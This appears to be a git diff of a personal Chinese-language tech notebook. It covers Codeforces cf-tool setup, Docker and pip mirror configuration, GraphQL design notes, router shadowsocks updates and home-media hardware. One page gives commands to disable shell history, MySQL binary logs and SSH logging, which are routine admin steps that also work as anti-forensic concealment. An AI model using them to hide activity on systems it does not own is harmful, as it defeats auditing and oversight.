清空应用缓存 2020/4/19
adb shell pm clear <PACKAGE>
cf-tools + + + + + ++ + + diff --git "a/notebook/django\347\274\223\345\255\230.html" "b/notebook/django\347\274\223\345\255\230.html" new file mode 100644 index 0000000..a719022 --- /dev/null +++ "b/notebook/django\347\274\223\345\255\230.html" @@ -0,0 +1,34 @@ + + + + + + + + +cf-tools
## 下载&准备工作
时间 作者 2020/2/16 0:43 moyechen GitHub 地址: xalanq/cf-tool
cf-tool 是 Codeforces 的命令行界面的跨平台(支持 Windows、Linux、OS X)工具,其支持很多常用操作。
cf-tool下载
前往 cf-tool/releases 下载最新版。
之后的更新可以直接使用 upgrade 命令获取。
windows准备工作
你的电脑需要编译器才能调试你编写的代码
对于c/cpp, 我们需要g++这款编译器 如果你拥有自带mingw的code:block这款IDE, 可以从如下位置找到
▲将第三张图片红框中的路径复制下来, 记做
compiler_path
将这个路径添加到环境变量中,什么,你还不会添加路径到环境变量? 点击以获得讲解
否则,可以访问 https://www.jianshu.com/p/ff24a81f3637 ,参考教程下载g++编译器
测试编译器是否可用
按住win键,然后输入r,在弹出的框中输入cmd
此时会打开一个黑框框
输入g++
如果出现下图,这说明编译器准备完毕
添加cf.exe到环境变量
首先先将下载到的cf.exe文件放到一个合适的目录
右击 我的电脑,在弹出的下来框中选择 属性 这个选项 然后按下图操作
至此, 打开cmd,输入cf,如果显示以下内容,即为cf 环境变量配置成功
LINUX 准备工作
准备cf
将下载到cf 文件放在合适的目录,进入这个目录
执行以下命令,给予执行权限并创建软连接
+chmod 775 ./cf +ln ./cf /usr/bin/cf + +
输入cf 出现下图则成功
linux测试g++编译器是否可用
输入g++,出现下图,则为正常
如果没有, 请自行安装g++编译器
配置cf
终于将准备工作做完了
我们可以开始配置了
windows用户请打开cmd linxu 用户请进入shell
下图是我在linux的终端上操作的,windows和linux通用
输入以下命令
cf config
- username and password > 这个是用来配置用户名以及密码
- add a template > 添加一个代码模板,可以指定语言
- delete a template > 删除一个模板
- 设置默认模板
- 在解析题目结束后,自动生成模板代码
- 设置网站主体, 比如在中国我们可以设置为镜像站
https://codeforces.ml
以获得更好的体验我们选择1
然后选择你要使用的编译器, 这里我们使用42号编译器
GNU G++11 5.1.0
紧接着
可以看到, cf-tool 提供了一些变量,比如 年月日, 以及你的用户名
这里我提供一个模板
#include<bits/stdc++.h> +using namespace std; +typedef long long ll; + +/* +$%U%$ +$%Y%$-$%M%$-$%D%$ $%h%$:$%m%$ +*/ + +const int maxn = 5e5 + 5; +const int inf = 0x3f3f3f3f; + + +int main() { + std::ios::sync_with_stdio(false); + cin.tie(0); + + return 0; +} +
你只需要复制到一个地方,然后记住他的绝对路径,并输入即可 例如:
~/template.cpp
(适用于linux)D:/template.cpp
(适用于windows,需要带上盘符)在输入后, 配置程序给了几个询问,我来分别做以下解释
The suffix of template above will be added by default. Other suffix? (e.g. "cxx cc"), empty is ok:
默认情况下,将添加上面模板的后缀。 需要添加其他后缀吗?(例如,“cxx cc”),空的也是可以:
这里我们不需要了,所以直接回车
Template's alias (e.g. "cpp" "py"):
模板别名,因为我们用的是cpp, 因此我输入了cpp, 别名在使用 cf gen 生成模板代码时可以用到, 比如输入cf gen cpp, 就会生成我们刚刚添加的模板
Script in template: Template will run 3 scripts in sequence when you run "cf test":
- before_script (execute once) + - script (execute the number of samples times) + - after_script (execute once) +
You could set "before_script" or "after_script" to empty string, meaning not executing. You have to run your program in "script" with standard input/output (no need to redirect).
You can insert some placeholders in your scripts. When execute a script, cf will replace all placeholders by following rules:
$%path%$ Path to source file (Excluding $%full%$, e.g. "/home/xalanq/") $%full%$ Full name of source file (e.g. "a.cpp") $%file%$ Name of source file (Excluding suffix, e.g. "a") $%rand%$ Random string with 8 character (including "a-z" "0-9")
这一段讲的是工具的运作原理
在你输入cf test之后
- 首先工具执行你输入的
before_script
脚本, 例如g++ $%full%$ -o /tmp/a.out -std=c++11
, 来编译代码,并生成到/tmp/a.out
- 然后执行 你输入的script脚本, 例如
/tmp/a.out
,这代表执行这个刚刚编译好的程序, (ps, 这一步 是用来执行程序的)- 接下来执行你输入的
after_script
脚本,例如执行rm $%file%$.exe
以将刚刚编译好的程序删除, 防止占用硬盘空间(ps. 一般来说,acm的代码不超过5kb, 但是编译好的控制台应用程序一般在1mb左右, 但是这个程序我们只用一次,比较浪费空间,因此可以在执行后删除)下面我讲解一下我的输入
- 对于第一个问题
before_script
.我的回答是g++ $%full%$ -o /tmp/a.out -std=c++11
, 我每次都生成到同一个地方, 这次生成的会覆盖掉上次生成的, 也不需要删除了,其中/tmp/a.out
是一个生成的路径,-std=c++11
是执行的c++标准, 我们可以改为-std=c++14
或者-std=c++17
以享用新特性
- 在windows上,路径可以更改为
D:/tmp.exe
等等等等,需要加上盘符- 对于第二个问题
script
. 我的回答是/tmp/a.out
, 无论是linux 还是windows ,都需要写的是生成的文件的绝对路径- 第三个问题
after_script
.我们不需要任何处理,因此,直接回车最后,它询问我是否作为默认设置, 输入
y
确认至此, 配置结束
简单的流程
准备比赛了, 首先拿到比赛编号,
▲可以在url中看到比赛编号
控制台输入
cf race 比赛编号
▼它就会为你解析比赛测试样例,并打开题面网站
▼如果比赛未开始,他会自动等待,然后在开始的一瞬间为你解析数据
然后使用
cd
命令切换到比赛目录,并进入a题文件夹
cd 比赛编号\a
使用
cf gen
命令生成一个模板你可以使用别名,这样根据你对应的模板生成代码
cf gen cpp
然后开始编写你的代码:
- 在linux 上 :
vim a.cpp
- 在windows上: 如果装有vscode ,则可以使用
code -r a.cpp
,否则, 可以使用notepad a.cpp
使用记事本,当然,你也可以在你的IDE中添加这个文件夹,以使用IDE编写代码编写结束 使用
cf test
测试样例数据很好, 样例过了
使用
cf submit
提交你所在目录的题目过题,
然后使用cd命令切换到其他题目的目录, 继续重复操作
django缓存 + + + + + ++ + + diff --git a/notebook/docker.html b/notebook/docker.html new file mode 100644 index 0000000..7959671 --- /dev/null +++ b/notebook/docker.html @@ -0,0 +1,60 @@ + + + + + + + + +2020/5/9 docKer 时区设置 + + + + + ++ + + diff --git "a/notebook/graphql/ddd_graphql\346\225\260\346\215\256\346\265\201.html" "b/notebook/graphql/ddd_graphql\346\225\260\346\215\256\346\265\201.html" new file mode 100644 index 0000000..b5d2e2c --- /dev/null +++ "b/notebook/graphql/ddd_graphql\346\225\260\346\215\256\346\265\201.html" @@ -0,0 +1,37 @@ + + + + + + + + +2020/5/9 docKer 时区设置
echo "Asia/Shanghai" > /etc/timezone +dpkg-reconfigure -f noninteractive tzdata +
如果没有tzdata,需要手动安装
apt-get install -y tzdata
docker
给容器换一个名字, 比如说 docker run -it --name=mycentos2 centos:7 /bin/bash, 可以解决问题. 将原来的容器删除
查询当前容器: docker container ls -all
删除当前容器: docker container rm mycentos(提示: 这一步要确定删除容器没问题的情况下, 才可以做)
Ubuntu 16.04 阿里源
+deb-src http://archive.ubuntu.com/ubuntu xenial main restricted #Added by software-properties +deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted +deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted multiverse universe #Added by software-properties +deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted +deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted multiverse universe #Added by software-properties +deb http://mirrors.aliyun.com/ubuntu/ xenial universe +deb http://mirrors.aliyun.com/ubuntu/ xenial-updates universe +deb http://mirrors.aliyun.com/ubuntu/ xenial multiverse +deb http://mirrors.aliyun.com/ubuntu/ xenial-updates multiverse +deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse +deb-src http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse #Added by software-properties +deb http://archive.canonical.com/ubuntu xenial partner +deb-src http://archive.canonical.com/ubuntu xenial partner +deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted +deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted multiverse universe #Added by software-properties +deb http://mirrors.aliyun.com/ubuntu/ xenial-security universe +deb http://mirrors.aliyun.com/ubuntu/ xenial-security multiverse + +
pip 国内源
pip3 install django==2.1 -i https://pypi.tuna.tsinghua.edu.cn/simple
cd ; mkdir .config ; cd .config ; mkdir pip ; cd pip ; vim pip.conf
[global] +timeout = 6000 +index-url = http://mirrors.aliyun.com/pypi/simple/ +trusted-host = mirrors.aliyun.com + +
ddd+graphql数据流 + + + + + ++ + + diff --git "a/notebook/graphql/graphql\345\222\214python.html" "b/notebook/graphql/graphql\345\222\214python.html" new file mode 100644 index 0000000..77066ae --- /dev/null +++ "b/notebook/graphql/graphql\345\222\214python.html" @@ -0,0 +1,58 @@ + + + + + + + + +ddd+graphql数据流
数据流 kong就是openresty的一个应用,nginx
前端 -> kong (解析token,装上user信息)->后端
-> controller层 ->resolve-> types -> graphql input -> 封装为command
-> 应用层-> mutation_service -> 调用各种domain、repo方法, -> domain 层, 领域方法 -> 调用domain层repo的方法(实现在infrastructure中),持久化到db
返回数据,在应用层中定义了各种Representation,可以序列化数据
与Django的映射: types = view之前的数据解析 apps = view
问题1:数据校验,唯一性校验应该db实现 问题2:数据默认值,应该在orm层实现,还是在app层实现 问题3:选择输入,如何判断输入数据有效性?
基础的,应该在domain的validate中定义,抛出ValueError即可 +复杂的,比如增加工段需要工序id,就需判断工序id是否存在,是否同一个租户下的, + 这种应该在app层实现 +
问题4:关联关系时,db-orm只存储关联的id,那聚合根的model如何写? graphql的types怎么写?中间如何转换
graphql和python + + + + + ++ + + diff --git "a/notebook/graphql/graphql\351\201\207\345\210\260\350\277\207\347\232\204\351\227\256\351\242\230.html" "b/notebook/graphql/graphql\351\201\207\345\210\260\350\277\207\347\232\204\351\227\256\351\242\230.html" new file mode 100644 index 0000000..222791c --- /dev/null +++ "b/notebook/graphql/graphql\351\201\207\345\210\260\350\277\207\347\232\204\351\227\256\351\242\230.html" @@ -0,0 +1,51 @@ + + + + + + + + +graphql和python
- graphql 定义 这里没有id这个东西, type ProductionGroup{ "班组ID" id: String! "班组名称" name: String! "班组长" groupLeader: Staff! "班组成员" groupMembers: [Staff!]! "备注" remark: String }
input CreateProductionGroupInput { name: String! groupLeader: StringIDInput! groupMembers: [StringIDInput!]! remark: String }
- 创建的流程
2.1 前端传递 group_leader: {id:"p1"}
然后types中收到这个input, 内容和gql中定义的一样
process: {"id":"p1"}
2.2 这时,解析给app层mutation.py中定义的command
class CreateGroupCommand(Command): tenant_id: str name: str group_leader: StringIDInput group_members: list[StringIDInput] remark: str | None
这里是command和graphql定义一样,还有一种是内部全部使用id,那么在这里就需要进行一些别名,包括内部的所有(聚合根,实体,orm,Representation)都带上id group_id: StringIDInput | None = Field(alias='group')
2.3 app层拿到command, 解析,并处理,构建Group对象
class Group(AggregateRoot): id: GroupId name: str tenant_id: TenantId group_leader: StaffId group_members: list[StaffId] remark: str | None
2.4 然后通过repo,将对象转换为orm对象,并保存到db
class GroupOrm(Base, TenantMixin, SoftDeleteMixin, TimeMixin): tablename = "group" entity = Group
id = sa.Column(sa.String, primary_key=True) +name = sa.Column(sa.String) +group_leader = sa.Column(sa.String) +# 班组成员,不包含班组长 +group_members = sa.Column(ARRAY(sa.String), server_default="{}") +# 班组人员字段,班组人员 包含班组长以及班组成员 +group_staffs = sa.Column(ARRAY(sa.String), server_default="{}") +remark = sa.Column(sa.String) + +@classmethod +def from_entity(cls, entity: Group): + orm_instance = entity.orm_instance() or cls() # type: ignore + orm_instance.copy_from_entity(entity) + orm_instance.group_staffs = entity.group_members + [entity.group_leader] + return orm_instance +
就此,创建流程结束
3 查询 3.1前端构建查询input,发送到types,转发给app层的queryService,得到filter字典、offset、limit、order_by """ 问题,这里filter的graphql定义也是不带id的,所以前端传过来StringIdInput,我们的filter类中,应当这样编写 """ class SectionFilter(FilterBase): search: str = FilterField(expression=lambda v: SectionOrm.name.like(f"%{v}%")) name: str = FilterField(column=SectionOrm.name) tenant_id: str = FilterField(column=SectionOrm.tenant_id) process: StringIDInput = FilterField(expression=lambda v: SectionOrm.process_ids.contains([v])) is_deleted: bool = FilterField(False, expression=lambda v: SectionOrm.is_deleted.is_(v))
3.2queryService 直接查询orm,并使用Representation返回给前端
class GroupRepresentation(Representation): id: str name: str group_leader: str group_members: list[str] remark: str | None
3.3 到达graphql层,controller根据types里的resolve,将对象进行解析,处理后返回给客户端
@managed() @dataclass class GroupType(ObjectType): name = "ProductionGroup"
@field_resolver("groupLeader") +async def resolve_group_leader(self, parent: GroupRepresentation, info: GraphQLResolveInfo): + group_leader_id = get_attr(parent, "group_leader") + return {"id": group_leader_id} + +@field_resolver("groupMembers") +async def resolve_group_members(self, parent: GroupRepresentation, info: GraphQLResolveInfo): + group_members = get_attr(parent, "group_members") + return [{"id": member_id} for member_id in group_members] +
graphql遇到过的问题 + + + + + ++ + + diff --git a/notebook/graphql/index.html b/notebook/graphql/index.html new file mode 100644 index 0000000..7e3539d --- /dev/null +++ b/notebook/graphql/index.html @@ -0,0 +1,34 @@ + + + + + + + + +graphql遇到过的问题
1.schema编写问题
正常情况下,需要在冒号右边加一个空格
type XXX{ + + required: Boolean +} + +
如果你不加的话,则会识别不到
http://spec.graphql.org/October2021/#sec-Language
2.dataload 问题
当有一个数据的resolve字段没查到,则所有的数据都不会返回
async def scheme_by_scheme_ids(self, scheme_ids: list[str]): + async with self.repo.new_session(expire_on_commit=False): + stmt = self.repo.select(MESSchemeOrm).filter(MESSchemeOrm.scheme_id.in_(scheme_ids)) + result = await self.repo.all(stmt) + data = result.scalars().all() + return sort(scheme_ids, data, key_fn=attrgetter("scheme_id")) +
@field_resolver("scheme") +async def resolve_scheme(self, parent: ProcessRepresentation, info): + if process_id := get_attr(parent, "id"): + process_scheme_id = SchemeId(f"scheme:process:info:{process_id}") + loader = info.context["domain_loaders"]["scheme_by_scheme_ids"] + return await loader.load(process_scheme_id) +
这里是notebook/graphql + + + + + + + + + diff --git a/notebook/index.html b/notebook/index.html new file mode 100644 index 0000000..8b92e3f --- /dev/null +++ b/notebook/index.html @@ -0,0 +1,34 @@ + + + + + + + + +这里是notebook + + + + + + + + + diff --git a/notebook/k2p-luci.html b/notebook/k2p-luci.html new file mode 100644 index 0000000..b222d91 --- /dev/null +++ b/notebook/k2p-luci.html @@ -0,0 +1,43 @@ + + + + + + + + +k2p-luci + + + + + ++ + + diff --git "a/notebook/k2p_\346\233\264\346\226\260\345\256\230\346\224\271\345\233\272\344\273\266v1.9\344\270\255\347\232\204ssr-server.html" "b/notebook/k2p_\346\233\264\346\226\260\345\256\230\346\224\271\345\233\272\344\273\266v1.9\344\270\255\347\232\204ssr-server.html" new file mode 100644 index 0000000..19bb183 --- /dev/null +++ "b/notebook/k2p_\346\233\264\346\226\260\345\256\230\346\224\271\345\233\272\344\273\266v1.9\344\270\255\347\232\204ssr-server.html" @@ -0,0 +1,51 @@ + + + + + + + + +k2p-luci
20220206 今天发现k2p的后台管理web一些功能无法使用了
为了修复这个问题,先对路由器上的web程序做了一下了解
后台服务器:uhttp 语言 lua
root@K2P:/# find . -type d -iname 'luci' +./rom/usr/lib/lua/luci +./usr/lib/lua/luci +
https://blog.csdn.net/qq_28812525/article/details/103870169
find / -type f -name "*.lua" | xargs grep "portfwd_add_rule"
配置文件:/etc/luci/* +/etc/init.d/portfwd 端口转发的配置转换 +/etc/config/appportfwd + + +iptables -L -v -n +
2022/6/1
k2p动态ip失效
鸟哥的私房菜 http://cn.linux.vbird.org/linux_server/0250simple_firewall_5.php#nat_ip_share
iptables -t nat -A PREROUTING -i pppoe-wan -p tcp --dport 36000 -j DNAT --to-destination 192.168.2.190:22
iptables -t nat -L
[k2p]更新官改固件v1.9中的ssr-server + + + + + ++ + + diff --git a/notebook/kodi.html b/notebook/kodi.html new file mode 100644 index 0000000..fca261f --- /dev/null +++ b/notebook/kodi.html @@ -0,0 +1,34 @@ + + + + + + + + +[k2p]更新官改固件v1.9中的ssr-server
目标:在k2p路由器上搭建ssr-server,在外网可以访问到家中的设备
遇到的问题:k2p官改固件v1.9 使用的ssr-server版本是
shadowsocks-libev 2.5.6 with OpenSSL 1.0.1j 15 Oct 2014
,支持的加密协议比较少网络上比较推荐的加密算法是aes-256-gcm,打算更新路由器上的ssr-server
先到github https://github.com/shadowsocks/shadowsocks-libev 需要我们需要的安装包
root@K2P:~# cat /proc/version +Linux version 3.10.14 (jenkins@SOHO-OPWRT) (gcc version 4.8.3 (OpenWrt/Linaro GCC 4.8-2014.04 unknown) ) #1 SMP Fri Apr 20 15:17:54 CST 2018 +
通过上面的命令,我们可以知道k2p官改是openwrt系列的系统,找到适用于openwrt的版本 https://github.com/shadowsocks/openwrt-shadowsocks
这个项目提供了预编译文件下载,我们到releases页面,进行下载 http://openwrt-dist.sourceforge.net/archives/shadowsocks-libev/3.3.5-1/
然后查看k2p的架构,我的k2p是a2版本,cpu是mt6621a,架构为mips 1004kc
但是我们并没有找到适合1004kc的软件包
经过google搜索,我在恩山无线论坛找到了解决方案:使用mips 24kc即可,是兼容的 https://www.right.com.cn/forum/thread-256669-1-1.html
使用wget 下载到/tmp目录后,我们使用
opkg install shadowsocks-libev-server_3.3.5-1_ramips_24kec.ipk
命令进行安装,发现opkg报错:pkg_hash_fetch_best_installation_candidate: Packages for shadowsocks-libev-server found, but incompatible with the architectures configured
这是因为opkg发现此安装包声明的架构与系统支持的架构不符,我们使用
opkg print-architecture
命令输出该系统支持的安装包可以看到没有ramips_24kc
经google搜索,找到了解决方案
https://www.twblogs.net/a/5c766b60bd9eee339917f838 http://iotts.com.cn/blog/2020/12/13/OpenWrt-%E6%89%8B%E5%8A%A8%E5%AE%89%E8%A3%85ipk%E6%97%B6%E9%81%87%E5%88%B0%E7%9A%84%E9%97%AE%E9%A2%98/ https://blog.csdn.net/zengqz123/article/details/87915079
+vi /etc/opkg.conf +然后在这个文件后面依次添加 +arch all 100 +arch ramips 150 +arch ramips_24kec 200 +arch ramips_1004kc 300 +
ok,再次尝试安装,发现缺少依赖
回到下载页面 http://openwrt-dist.sourceforge.net/archives/shadowsocks-libev/3.3.5-1/legacy/ramips/ 其实都在这里
wget http://openwrt-dist.sourceforge.net/archives/shadowsocks-libev/3.3.5-1/legacy/ramips/libev_4.27-1_ramips_24kec.ipk +wget http://openwrt-dist.sourceforge.net/archives/shadowsocks-libev/3.3.5-1/legacy/ramips/libcares_1.15.0-4_ramips_24kec.ipk +wget http://openwrt-dist.sourceforge.net/archives/shadowsocks-libev/3.3.5-1/legacy/ramips/libsodium_1.0.18-1_ramips_24kec.ipk +wget http://openwrt-dist.sourceforge.net/archives/shadowsocks-libev/3.3.5-1/legacy/ramips/libmbedtls_2.9.0-2_ramips_24kec.ipk + +
安装成功
后面的错误信息其实无影响,安装后,可通过opkg查看文件信息
root@K2P:/tmp# opkg files shadowsocks-libev-server +Package shadowsocks-libev-server (3.3.5-1) is installed on root and has the following files: +/usr/bin/ss-server +
安装成功!,aes-256-gcm可用
opkg命令(https://www.cxymm.net/article/qq_41453285/102523263) 修改opkg.conf (https://www.twblogs.net/a/5c766b60bd9eee339917f838) openwrt翻墙教程 https://fanqiang.software-download.name/
https://me2in.github.io/2020/11/30/%E5%9B%9E%E5%AE%B6%E7%9A%84%E8%AF%B1%E6%83%91-%E8%AE%BA%E5%A6%82%E4%BD%95%E6%9B%B4%E4%BC%98%E9%9B%85%E7%9A%84%E5%9B%9E%E5%AE%B6/
clash for windows https://docs.cfw.lbyczf.com/
cfw默认跳过内网地址
kodi + + + + + ++ + + diff --git "a/notebook/linux\345\205\263\351\227\255\350\256\277\351\227\256\346\227\245\345\277\227\345\217\212mysql.html" "b/notebook/linux\345\205\263\351\227\255\350\256\277\351\227\256\346\227\245\345\277\227\345\217\212mysql.html" new file mode 100644 index 0000000..71f6bd5 --- /dev/null +++ "b/notebook/linux\345\205\263\351\227\255\350\256\277\351\227\256\346\227\245\345\277\227\345\217\212mysql.html" @@ -0,0 +1,36 @@ + + + + + + + + +kodi
打造家庭影院
NAS
NAS(Network Attached Storage:网络附属存储)按字面简单说就是连接在网络上,具备资料存储功能的装置,因此也称为“网络存储器”。它是一种专用数据存储服务器。它以数据为中心,将存储设备与服务器彻底分离,集中管理数据,从而释放带宽、提高性能、降低总拥有成本、保护投资。其成本远远低于使用服务器存储,而效率却远远高于后者。目前国际著名的NAS企业有Netapp、EMC、OUO等。
HTPC
HTPC(Home Theater Personal Computer),即家庭影院电脑。 是以计算机担当信号源和控制的家庭影院,也就是一部预装了各种多媒体解码播放软件,可用来对应播放各种影音媒体,并具有各种接口,可与多种显示设备如电视机、投影机、等离子显示器、音频解码器、音频放大器等音频数字设备连接使用的个人电脑。
家庭网络
品名 价格 功能 备注 时间 斐讯K2P ¥150 做路由,wifi,拨号 挂v2ray 联通光猫 300M网速 TCL 65v6 2999 看电视,播放电影 支持memc 2019.10.3 电脑 1200 下载机器,htpc 2020.1.2 斐讯N1盒子 130 刷yyf, 使用, kodi, 千兆网口, usb2.0 2020.2.20 斐讯H1移动硬盘 230 移动存储,做N1盒子上面的存储 type-c接口,usb3.0 2020.2.21 场景需求
- [x] 玩游戏: 显示器hdmi线连接客厅电视,或者游戏机
- [ ] 看视频: 电视内置软件, 投屏, kodi,
- [ ] 照片备份:
我不在家
- 使用HDP直播等软件播放CCTV等节目
- 手机投屏(乐播投屏)
我在家
- 使用远程下载下载到硬盘, 然后观看
- 同步照片
- 作为服务器,通过frp做远程服务器
插线板
名字 价格 功能 斐讯 tc1 ¥65 6 插口, 3usb(1*18w) 心水: 紫米插座 129 1个pd65w快充的插口+插线版 电脑
配件 型号 价格 备注 时间 cpu g5500 ¥200 二手 主板 h310cm-hdv ¥300 千兆 内存 光威8g 2666 ¥169 固态 铁甲战将120g ¥119 硬盘 西数蓝盘500g ¥0 鼠标&键盘 罗技套装 mk275 ¥60 机箱 先马 黑金刚 ¥135 散热器 超频三 红海 ¥32 电源 金河田 300w ¥99 合计 ¥1133 |设备|
日志 + + + + + ++ + + diff --git "a/notebook/linux\345\255\246\344\271\240.html" "b/notebook/linux\345\255\246\344\271\240.html" new file mode 100644 index 0000000..b78deb4 --- /dev/null +++ "b/notebook/linux\345\255\246\344\271\240.html" @@ -0,0 +1,42 @@ + + + + + + + + +日志
关闭.bash_history
已经在Ubuntu 16.04.6 LTS验证有效
我们可以修改/etc/profile文件中修改2个参数来控制历史命令记录和输出。
echo "export HISTFILESIZE=0" >> /etc/profile +source /etc/profile +
- https://www.cndba.cn/dave/article/4086
- https://blog.csdn.net/smasegain/article/details/46678113
关闭mysql连接日志
- ~/.mysql_history
https://www.cnblogs.com/milantgh/p/3602206.html
如何关闭MySQL的日志功能:删除日志:执行:/usr/local/mysql/bin/mysql -u root -p 输入密码登录后再执行:reset master; 再输入:quit 退出mysql命令模式。 彻底禁用MySQL日志:修改/etc/my.cnf 文件, 找到log-bin搜索=mysql-binbinlog_format=mixed再这两行前面加上#, 将其注释掉,再执行/etc/init.d/mysql restart即可。 或直接去目录/usr/local/mysql/var/删除日志文件即可正常使用! ———————————————— 版权声明:本文为CSDN博主「风火程序员」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/phpfenghuo/article/details/42262031
编辑 /etc/mysql/mysql.conf.d/mysqld.cnf
关闭SSH日志
编辑/etc/ssh/sshd_config
/var/log/syslog 没有这个文件
正常登录 Mar 23 03:10:40 ubuntu systemd[1]: Started Session 7 of user homepc.
grep sshd /var/log/auth.log
https://www.cnblogs.com/sparkdev/p/7694202.html
[root@master ~]# vim /etc/ssh/sshd_config #SyslogFacility AUTH SyslogFacility AUTHPRIV #LogLevel INFO 改 SyslogFacility local1
更改日志服务配置 [root@master ~]# vim /etc/rsyslog.conf #sign local1.* /var/log/sshd.log //这里该成空,就可以全删除了
linux学习 + + + + + ++ + + diff --git "a/notebook/mac_win10\345\217\214\347\263\273\347\273\237\344\270\213\347\232\204\346\227\266\351\227\264\351\227\256\351\242\230.html" "b/notebook/mac_win10\345\217\214\347\263\273\347\273\237\344\270\213\347\232\204\346\227\266\351\227\264\351\227\256\351\242\230.html" new file mode 100644 index 0000000..923b11d --- /dev/null +++ "b/notebook/mac_win10\345\217\214\347\263\273\347\273\237\344\270\213\347\232\204\346\227\266\351\227\264\351\227\256\351\242\230.html" @@ -0,0 +1,37 @@ + + + + + + + + +linux学习
删除含有行的文件
+sed -e '/abc/d' clickhouse-server.log > a.log +chown clickhouse:clickhouse a.log +chmod 640 a.log +mv a.log clickhouse-server.log +service clickhouse-server reload + + +
软连接 2020/4/20
Usage: ln [OPTION]... [-T] TARGET LINK_NAME (1st form) or: ln [OPTION]... TARGET (2nd form) or: ln [OPTION]... TARGET... DIRECTORY (3rd form) or: ln [OPTION]... -t DIRECTORY TARGET... (4th form) In the 1st form, create a link to TARGET with the name LINK_NAME. In the 2nd form, create a link to TARGET in the current directory. In the 3rd and 4th forms, create links to each TARGET in DIRECTORY. Create hard links by default, symbolic links with --symbolic. By default, each destination (name of new link) should not already exist. When creating hard links, each TARGET must exist. Symbolic links can hold arbitrary text; if later resolved, a relative link is interpreted in relation to its parent directory.
删除所有以.log结尾的文件 20200806
find ./ -name "*.log" -exec rm {} ;
mac+win10双系统下的时间问题 + + + + + ++ + + diff --git "a/notebook/markdown\345\255\246\344\271\240.html" "b/notebook/markdown\345\255\246\344\271\240.html" new file mode 100644 index 0000000..442f6b2 --- /dev/null +++ "b/notebook/markdown\345\255\246\344\271\240.html" @@ -0,0 +1,51 @@ + + + + + + + + +mac+win10双系统下的时间问题
安装了 Windows/macOS 双系统的同学,一定遇到过双系统时间不同步的问题。具体表现是,一旦进入过 macOS 系统,Windows 中的时间就会比实际时间慢8个小时(以国内为准)。
解决问题
遇到这个问题,我第一个想法是编辑计划任务,在windows系统开机的时候执行时间同步(因为windows默认是7天与时间服务器同步一次)
具体的逻辑是开机后,识别到wifi连接上事件(id8001),则执行与时间服务器同步的脚本
首先是定位到wifi连接上的事件,打开事件查看器, 应用程序和服务日志-Microsoft-Windows-WLAN-AutoConfig 可以看到下图,我们找到8001事件,他的描述是
WLAN 自动配置服务已成功连接到无线网络
我整理了一下,大概有7个事件
事件8000 WLAN 自动配置服务已开始连接无线网络。 事件8001 WLAN 自动配置服务已成功连接到无线网络。 事件8003 WLAN 自动配置服务已成功从无线网络断开。 事件8005 WLAN 自动配置服务已开始启动承载网络。 事件8006 WLAN 自动配置服务已完成启动承载网络。 事件8008 WLAN 自动配置服务已开始停止承载网络。 事件8011 连接到上一个正常网络
按照字面意思,我们应该使用8011事件作为触发器,但是查阅日志发现,最近几天我重启了好几次wifi,但是只有一次8011事件,可能有其他的因素在里面,我们还是选择事件8001作为触发器把。
在计算机管理-任务计划程序-新建计划任务,编辑触发器
下面是更新系统时间的vbs代码,保存在本地后,新建执行程序
Set ws = CreateObject("Wscript.Shell") +ws.Run "net start w32time",vbhide,true +ws.Run "w32tm /resync",vbhide +
注意要勾选常规选项卡中的使用最高权限运行
部署好后,每次启动笔记本,连接上wifi,时间就会自动同步到最新时间
遇到的问题
我开启了无线投屏,所以每次开机都会开放一个热点,然后系统自动连接上去,此时还没有连接到网络,所以同步失败,而且由于设置了重试和按需运行,导致3分钟连接到有网络的wifi并不会同步时间(因为按需运行)
20220207 时间不同步的真正原因
问题的成因是Windows和macOS处理时间的方式不同:
Windows把系统硬件时间当作本地时间(Local Time),即操作系统中显示的时间和 BIOS 中显示的时间是一样的 macOS 则把硬件时间当作 UTC,操作系统中显示的时间是硬件时间经过换算得来的,例如:假设 macOS 中设置了东八区时区,系统显示时间早上9:00,实际硬件储存时间就是UTC 1:00。这个时候重启进入 Windows,时间就变成了早上1:00。
办法也很简单,就是让Windows把硬件时间当作 UTC 时间,保持和 macOS 一致。
Window7 用户点击左下角 开始 -> 运行 -> 输入CMD
Window8/10用户按下 Win+X 组合键,使用管理员模式进入CMD
输入以下命令:
Reg add HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation /v RealTimeIsUniversal /t REG_DWORD /d 1
不过看来这样bios时间又会出问题,所以我还是使用我的土方法把
2022020 使用intel连接设置
今天在发现局域网samba传输速度只有5MB, 于是点开了网络设置,发现使用intel设置可以实现连接到特定wifi后执行应用程序
路径为 控制面板-网络连接-选中你当前连接的WLAN-状态-无线属性-
markdown学习 + + + + + ++ + + diff --git "a/notebook/n1\347\233\222\345\255\220_\344\275\277\347\224\250n1\347\233\222\345\255\220\344\273\245\345\217\212\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264\350\277\233\350\241\214\347\233\264\346\222\255.html" "b/notebook/n1\347\233\222\345\255\220_\344\275\277\347\224\250n1\347\233\222\345\255\220\344\273\245\345\217\212\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264\350\277\233\350\241\214\347\233\264\346\222\255.html" new file mode 100644 index 0000000..2e748ad --- /dev/null +++ "b/notebook/n1\347\233\222\345\255\220_\344\275\277\347\224\250n1\347\233\222\345\255\220\344\273\245\345\217\212\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264\350\277\233\350\241\214\347\233\264\346\222\255.html" @@ -0,0 +1,34 @@ + + + + + + + + +markdown学习
用HTML代码中的<br> + +如下所示,要在“身高”换行后加“体重”,可以在本行末尾输入<br>,再输入“体重”,则马上换行显示。 + + + +假设我们想跳转到文档中的一个不是标题的位置(比如一张图表),则需要在该位置自定义一个锚。 + +我们使用HTML语法来定义一个锚。可选的HTML标签很多,比如<span>、<a>等等。本文使用<span>示例。 + +假设文档中有一个作息时间表,在文档的其他地方需要增加跳转到此表位置的链接,那么我们可以在此表的附近增加一行: + +<span id=”表1”>名称</span> + + + + +
WARNING
here be dragons
::: alert-warning
alert-warning 黄色
:::
::: alert-info
alert-info 蓝色
:::
